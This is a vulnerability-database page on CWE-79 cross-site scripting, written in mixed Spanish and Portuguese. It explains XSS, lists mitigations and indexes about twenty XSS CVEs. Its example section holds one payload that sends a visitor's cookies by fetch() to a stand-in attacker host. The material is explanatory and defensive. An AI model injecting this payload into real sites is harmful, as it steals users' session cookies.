Fallos del tipo CWE-79

28.947 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-6466LOWThecosy IceCMS User Comment planet cross site scriptingEPSS 0.6%CVE-2024-4726MEDIUMCampcodes Legal Case Management System clients cross site scriptingEPSS 0.6%CVE-2023-6896LOWSourceCodester Simple Image Stack Website cross site scriptingEPSS 0.6%CVE-2024-5123MEDIUMSourceCodester Event Registration System cross site scriptingEPSS 0.6%CVE-2024-4731MEDIUMCampcodes Legal Case Management System role cross site scriptingEPSS 0.6%CVE-2023-23010MEDIUMCross Site Scripting (XSS) vulnerability in Ecommerce-CodeIgniter-Bootstrap thru commit d5904379ca55014c5df34c67deda982c73dc7fe5 (on Dec 27,EPSS 0.6%CVE-2018-10854MEDIUMcloudforms version, cloudforms 5.8 and cloudforms 5.9, is vulnerable to a cross-site-scripting. A flaw was found in CloudForms's v2v infrastEPSS 0.6%CVE-2024-4521LOWCampcodes Complete Web-Based School Management System teacher_salary_details2.php cross site scriptingEPSS 0.6%CVE-2024-27092MEDIUMContent spoofing - real Hoppscotch emailsEPSS 0.6%CVE-2024-1099LOWRebuild read-raw getFileOfData cross site scriptingEPSS 0.6%CVE-2023-6462LOWSourceCodester User Registration and Login System delete-user.php cross site scriptingEPSS 0.6%CVE-2023-6300LOWSourceCodester Best Courier Management System cross site scriptingEPSS 0.6%CVE-2023-6301LOWSourceCodester Best Courier Management System GET Parameter parcel_list.php cross site scriptingEPSS 0.6%CVE-2024-4730MEDIUMCampcodes Legal Case Management System judge cross site scriptingEPSS 0.6%CVE-2023-6616LOWSourceCodester Simple Student Attendance System index.php cross site scriptingEPSS 0.6%CVE-2024-4736MEDIUMCampcodes Legal Case Management System tax cross site scriptingEPSS 0.6%CVE-2023-50883MEDIUMONLYOFFICE Docs before 8.0.1 allows XSS because a macro is an immediately-invoked function expression (IIFE), and therefore a sandbox escapeEPSS 0.6%CVE-2024-4523LOWCampcodes Complete Web-Based School Management System teacher_attendance_history1.php cross site scriptingEPSS 0.6%CVE-2024-51379HIGHStored Cross-Site Scripting (XSS) vulnerability discovered in JATOS v3.9.3. The vulnerability exists in the description component of the stuEPSS 0.6%CVE-2021-24965—Five Star Restaurant Reservations < 2.4.8 - Subscriber+ Stored Cross-Site ScriptingEPSS 0.6%